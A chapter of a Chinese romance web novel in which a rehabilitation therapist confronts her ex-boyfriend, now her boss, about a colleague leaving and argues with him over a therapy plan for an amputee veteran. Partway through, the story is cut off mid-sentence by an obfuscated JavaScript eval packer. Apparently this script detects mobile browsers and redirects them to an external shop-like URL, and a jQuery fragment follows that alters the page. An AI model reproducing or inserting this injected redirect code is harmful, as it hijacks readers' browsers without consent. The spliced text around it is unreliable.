刚在一起那会，两人天天都打电话。
姜好很不习惯这样，她是刺猬人格，喜欢一个人待着。但是程泛声勒令，她也不拒绝，姜好就是这样逆来顺受的一个人。
晚上睡觉也不许她挂，有时夜深人静，他静静地听着耳机里姜好一来一回的呼吸，偶尔心痒燥热，他关闭麦克风偷偷纾解。
大多数时候，他很快入睡，比什么白噪音都管用。
后来就开始打视频。
一开始姜好还需要梳头发、洗脸、换衣服，找好角度再接通电话。程泛声总是催她，快点，快点。
我只想看着你。
再后来姜好就不在乎了，她什么样子程泛声没见过，哪怕在洗澡也能自然地拿起电话接通。
再往后，电话、视频都不用了，微信也不发消息了。因为实习那会，姜好搬到了他家。
现在，姜好的呼吸声重新回到他的耳畔。
那股熟悉的奇异的燥热，也缓缓注入心田。
意识到他在等她，姜好更紧张了，手指在衣上打着转，过了很久才开口，细若蚊声：“唔，就是听到一些事情，有些好奇，想问问你。”
“什么事？”
李南恩的名字像刚出炉的烤红薯，滚烫得要命，姜好怎么也说不出口，仿佛会灼伤了嗓子。
听着她在电话里支支吾吾半天，程泛声好似不耐，一句话终结了话题：“见面说吧。”
不等她应答，程泛声挂断电话。
手机滑入口袋，指尖在其中习惯性地摸索，什么也没摸到，他恍然地收回手。
对于烟，他没有瘾。
他是那种对什么都不会上瘾的人，对于世间万物，无论喜恶，他都可以保持着强烈的探索欲，然而极其克制，极少对某样东西产生留恋。
烟这种东西，因为从小到大的教育，他其实是不喜欢的。
但男生很难不接触到烟。同学偶然递来，秉持着什么都要尝试的想法，他让同学帮忙点燃。
抽烟伤肺，受过教育的人都知道，然而烟雾在鼻间缭绕那一刻，他无法即时看到肺受到的损伤，却感受到全身心的放松。
心情愉悦的时候很难想起有烟这个东西，烦闷的时候习惯性依赖。程泛声无法确定这算不算上瘾。
但知道姜好过敏后，他就戒了。
也不算戒，他几乎没有任何痛苦地扔掉了烟盒。面对递来的烟，他说女朋友过敏，别人也就收回去了。
姜好离开后，他的烟瘾再度被别人递来的一根烟点燃。
身边没了过敏的人，再没了不抽烟的借口，他再度纵容自己。
人生失意到极点，他彻底明白为什么有人一辈子也戒不掉烟。吞云吐雾几分钟，所有的烦恼仿佛伴随着烟雾烟消云散，接下来又是崭新的一天。
现在。他又不知不觉地戒烟。
小鸟成双结对，扑上树枝，树哗啦啦地晃起手臂，几片落叶在空中飘啊飘。
意识到自己很久没有买烟了，程泛声有些怔然。
跨出露台的那一刻，手机刚好响了。
【安以愿：周末来我家玩不】
他抬手打字：不了。
-
“……我最近在家里一直在用那个什么游戏机做训练，哇，随便玩一会，不知不觉就做了两个小时训练了！”
来做OT训练的老太太得到姜好的夸奖“进步真快”，立马开始兴致勃勃地讲述。
“游戏机？”姜好笑着问，“宋奶奶，是什么游戏机呀？”
听宋奶奶讲了一会后她弄明白了，原来是一款长得像游戏手柄的康复仪，配套一个游戏APP，可以投屏到电视上玩切水果、捏柠檬、打地鼠……
不同游戏在康复仪上的按钮或旋钮不同，可以根据自己的情况选择相对应的游戏进行练习。
“您下次把这个训练设备带过来可以吗？”姜好语气温和，“我帮您评估一下，看看哪个游戏的动作最适合您现阶段的恢复。咱们得确保训练是安全有效的。”
宋奶奶是中风病人，手部高肌张力引起痉挛，每个病人实际情况不同，姜好不能确定那些游戏是不是都适合她，特别是某些需要爆发力或过度用力的游戏，可能会加重肌无力。
“可以，可以！”宋奶奶连连答应。
送走宋奶奶后，上午的工作告一段落，姜好简单收拾了一下治疗室，刚直起身子，就有人敲门：“姜老师？”
“在。怎么了？”
“程总请您上去一趟。”
“好的，我马上去。”
姜好轻车熟路来到四楼，尽管那天挂断电话后，姜好就已想好如何开口询问，可站在门前，还是不由地紧张起来。
她轻轻叩门。
“进。”
推门而入，程泛声坐在电脑后，不过没看电脑，而是慵懒地靠在椅上，长腿伸直，静看她，似乎等待她已久。
“说吧。”
不再像上次那般百般纠结，姜好心一横：“李南恩……程总您和他发生什么了？”
她垂下脑袋，盯着鞋尖。
等了许久，程泛声才缓缓开口：“我说过，聊私事不必称程总。”
他指了指沙发：“去那边坐吧。”
姜好坐过去，程泛声没动。沙发和电脑桌之间有些距离，这份距离给了姜好所需的安全感，她和程泛声之间，本就该越远越好。
程泛声转动椅子，始终正对着她，见她端庄地坐在沙发上，一脸严肃认真，忽觉得好笑。
“听到哪些风言风语？忽然关心起这个。”
“就是，同事。听说他因为女朋友和你大吵一架，自己离职了。所以他才跑到英国，对吗？”
程泛声将她那种“我懂你的痛”的眼神看得一清二楚，她怜爱地看着他，委婉地询问：“听说你……当时很伤心……”
程泛声明白了，姜好脑补出一出他被挚友狠狠捅刀、众叛亲离的悲情大戏，内心充满了澎湃的心疼。
“你小说看多了？”
“嗯？”姜好不明所以。
程泛声起身，越过电脑，从旁边的小桌上拿来一个餐盒，走来放到茶几上：“吃饭。”
姜好揭开盒盖，就是医院食堂的饭菜，大概以为她要讲什么很严肃的事情，担心午休时间不够，特意叫人打了饭来。
看着她拿起筷子，程泛声又坐回到桌后。
“大吵一架？确有其事，不至于决裂。南恩现在在的研究室，还是我帮忙推荐的。”
“嗯？”
程泛声知道姜好听的是什么版本，如果说那是事情的真相，也确实是那么回事，他办公室的门也真坏了。
“没闹掰，我和南恩还有联系。你要不要给他打电话？南恩脾气好，不至于骂你。”
“……”姜好悻悻然，“那他怎么跑到英国去？”
程泛声嗤笑一声：“他女朋友是英国人，他不和人家过一辈子，难道和我过一辈子么？”
意识到这件事完全是自己想多，脸瞬间烧了起来。所幸手里捧着饭，姜好连忙低头苦吃。
看着她吃了一会，程泛声忽说：“你难道不想知道，南恩因为什么和我大吵一架？”
“我……”姜好无端感觉程泛声要刺她，连忙拒绝，“我不想知道。”
但是程泛声很少听她的。
“我把他女友开了，他降职，他倒好，觉得降职可以，开他女朋友不行，跑到办公室找我理论，凭什么当年姜好，”
程泛声一顿，看向她，“凭什么我不追究姜好的责任。他说我双标。”
不等她说话，程泛声继续说：“我说你去美国了，我怎么追究你？请太平洋警察吗？”
“抱歉……”姜好不知道除此以外她还能说什么。
“所以南恩就摔门走了，他带着小女友返回英国，说有本事请太平洋警察去抓他。”
冷笑话一点也不好笑。姜好心想。
程泛声话锋一转：“所以姜好，你还不能说实话吗？”
“什么实话？”她下意识反问。
“偷，不，拿手稿。这件事，你和陈智文，怎么分工的？”
程泛声心知自己的确很双标。
这段时间，这件已经盖棺定论的陈年旧事在他心里翻来覆去，占据了他所有的零碎时间。
在他的推演里，陈智文是十恶不赦的阴险小人，姜好是惨遭欺骗的可怜小宝宝。
姜好手里握着的筷子掉了一只在地上，程泛声看着，递了双新的过去。
程泛声意识到不妥，上班时间，怎么能玩职场霸凌。
他转移话题：“聊聊下午要入院的病人，文琦。”
话题跳脱太快，姜好疑惑地“啊”了一声，慢了半拍才进入他的专业频道。
文琦，二十九岁，退伍军人，在一场爆炸中，她本能地使用利手阻挡，导致右手臂遭受严重冲击，最终不得不进行高位截肢。
同时，弹片导致左侧小腿创伤性截肢。
幸存的左臂虽外观完整，由于爆炸时的神经牵拉，造成了严重的臂丛神经损伤，目前表现为：力量极弱，感觉异常，时常麻木，协调性极差，无法进行有效抓握和精细操作。
姜好略微思索，眼前浮现出文琦那双空洞的双眼。
“我认为比起让她恢复左臂功能，更重要的是让她保持良好的心理状态。她现在……几乎没有求生的欲望。”
文琦是程泛声要求她去医院走访的病人之一。
当时她刚从危险状态中抢救回来不久，在第三医院进行挤出维生性康复，对高强度、重复性的训练极其抵触，情绪波动大，合作度低。
她完全拒绝见家人和朋友，只愿意隔门见战友，但也用冰冷的沉默拒绝她们的靠近。
第一次去医院，姜好只透过门上的玻璃看了一眼病房
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920567|191701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里的文琦。
第二次，姜好尝试进入病房，立刻被文琦用辱骂轰了出去。
第三次，姜好为她的左臂做按摩，那时她刚刚砸完病房里所有东西，一片狼藉。
大发脾气后她陷在一片狼藉和剧烈的喘息中，也许因为力气耗尽，她对姜好的靠近没有任何反应。
然而，面对姜好倾泻的温暖，她始终不理不睬。
比起尖锐的拒绝，平静更让人不寒而栗，因为那代表着她根本没有把你放在眼里。
你对她而言，不是能与她交流、带给她温暖的人类，仅仅只是一个可以移动的物品。
你无法改变她的生活。
“文琦的方案我看了。总体方向可以，但比重和优先级需要调整。”程泛声说。
姜好心里一紧：“程总您指的是哪部分？”
“你的方案里，超过70%的内容是建立信任、心理支持、环境适应和感官脱敏，关于左臂功能的主动训练少之又少，而且强度太低。我完全看不到你作为OT治疗师在其中发挥哪些作用。”
他抬起眼，直视她，大约因为在聊工作，他的眉眼更加收敛：
“姜好，这就像是盖房子，地基固然重要，但地基也是只为漂亮坚固的房子做准备，你迟迟不开始砌墙，光打地基有什么用？”
姜好的脸颊微微发热，一种专业判断被质疑的不适感涌了上来。她试图解释，语气不自觉加快：
“程总，文琦现在根本就没有求生欲望！她的心理状态决定了康复的上限，甚至决定了她愿不愿意继续活下去。如果她拒绝一切，再先进、再强硬的训练方案也无从谈起！”
闻言，程泛声的嘴角勾起一丝几乎看不见的弧度，但那不是笑意，更像是听见了天真论调时的反应。
他身体前倾，双臂交叠撑在膝上，形成一种无形的压迫感。
“保持患者生存意愿，是医生和心理咨询师的工作。”
他一字一顿地纠正，“无止境的陪伴和心理疏导，和你，一个治疗师，有什么关系？你的职责是最大化她的功能，而不是充当她的挚友。”
握着筷子的手攥紧，姜好声音提高，带着明显的情绪：
“建立信任，让患者在训练中保持愉悦和接纳的心情，这本身就是OT干预成功的关键前提！怎么和我没关系？如果她抵触、恐惧，任何训练都只会适得其反！”
程泛声轻轻摇头。比起姜好，他永远保持着那令人恼火的理智。
“姜好，感觉和心情是无法量产的变量。但神经功能恢复有黄金窗口期，这是确定的科学事实。你有没有想过文琦为什么会抑郁为什么会求死，因为她失去了右手，左手还是个残废。”
“左手功能恢复，重新获得独立生活的能力，她难道会不想活下去吗？”
姜好语噎，一时腾起的怒火慢慢降成小火苗。
“我需要看到的是可量化的、针对神经功能恢复的硬性指标。两周，我最多给你两周时间做你的地基。”
“两周后，”他语气斩钉截铁，不容商议，“必须开始系统性的、主动的功能性训练。”
姜好被说服：“好的，程总。”
饭菜剩了一点点没吃完，姜好胃口不大，现在已经吃饱，不想再吃，剩在饭盒里不成样子。
程泛声看出她在纠结，也知道她吃不下了，说：“放那儿吧。”
姜好连忙放下饭盒。
事说完了，工作也聊了，似乎该走了。
她刚想起身，程泛声却没有让她走的意思。
“坐下。”
半抬起的屁股又落回去。
原以为程泛声又要说扰人的往事，没想到他却正儿八经地说起工作：“美国的医疗环境和国内不同，你在美国接触到的都是富人吧？我们虽然走的是高端康复中心路线，但接触的病人也形形色色。”
姜好点头，她明白，文琦能够来森愈进行治疗，是因为程泛声发起的公益治疗活动，否则以其家庭状况根本无法支撑在森愈的一天的康复费用。
“对穷人来说，时间最不值钱，但请不要忘记，他们能够和你接触的时间，是他们花了大价钱的。不要浪费他们的时间，明白了吗？”
姜好有些默然。“我明白了。”
程泛声点头：“去吧。”
姜好走到门口，手触到门把手，忽的又被叫住。
“姜好，一直忘记问你，”程泛声略一停顿，像在思索，“你妈妈……在美国，还好吗？”
于是已经被拉开缝隙的门又被轻轻掩上。
一股莫名的泪意从莫名其妙的地方来袭，来势汹汹，姜好垂眸，静静看着泪珠砸在把手上，顺着曲线滑落。
她极力克制哭腔：“她很好。再婚了，和一个加拿大男人。”
哭泣，不是因为思念母亲，而是因为时隔多年，他依然这么轻松地、不计前嫌地关心与她有关的人。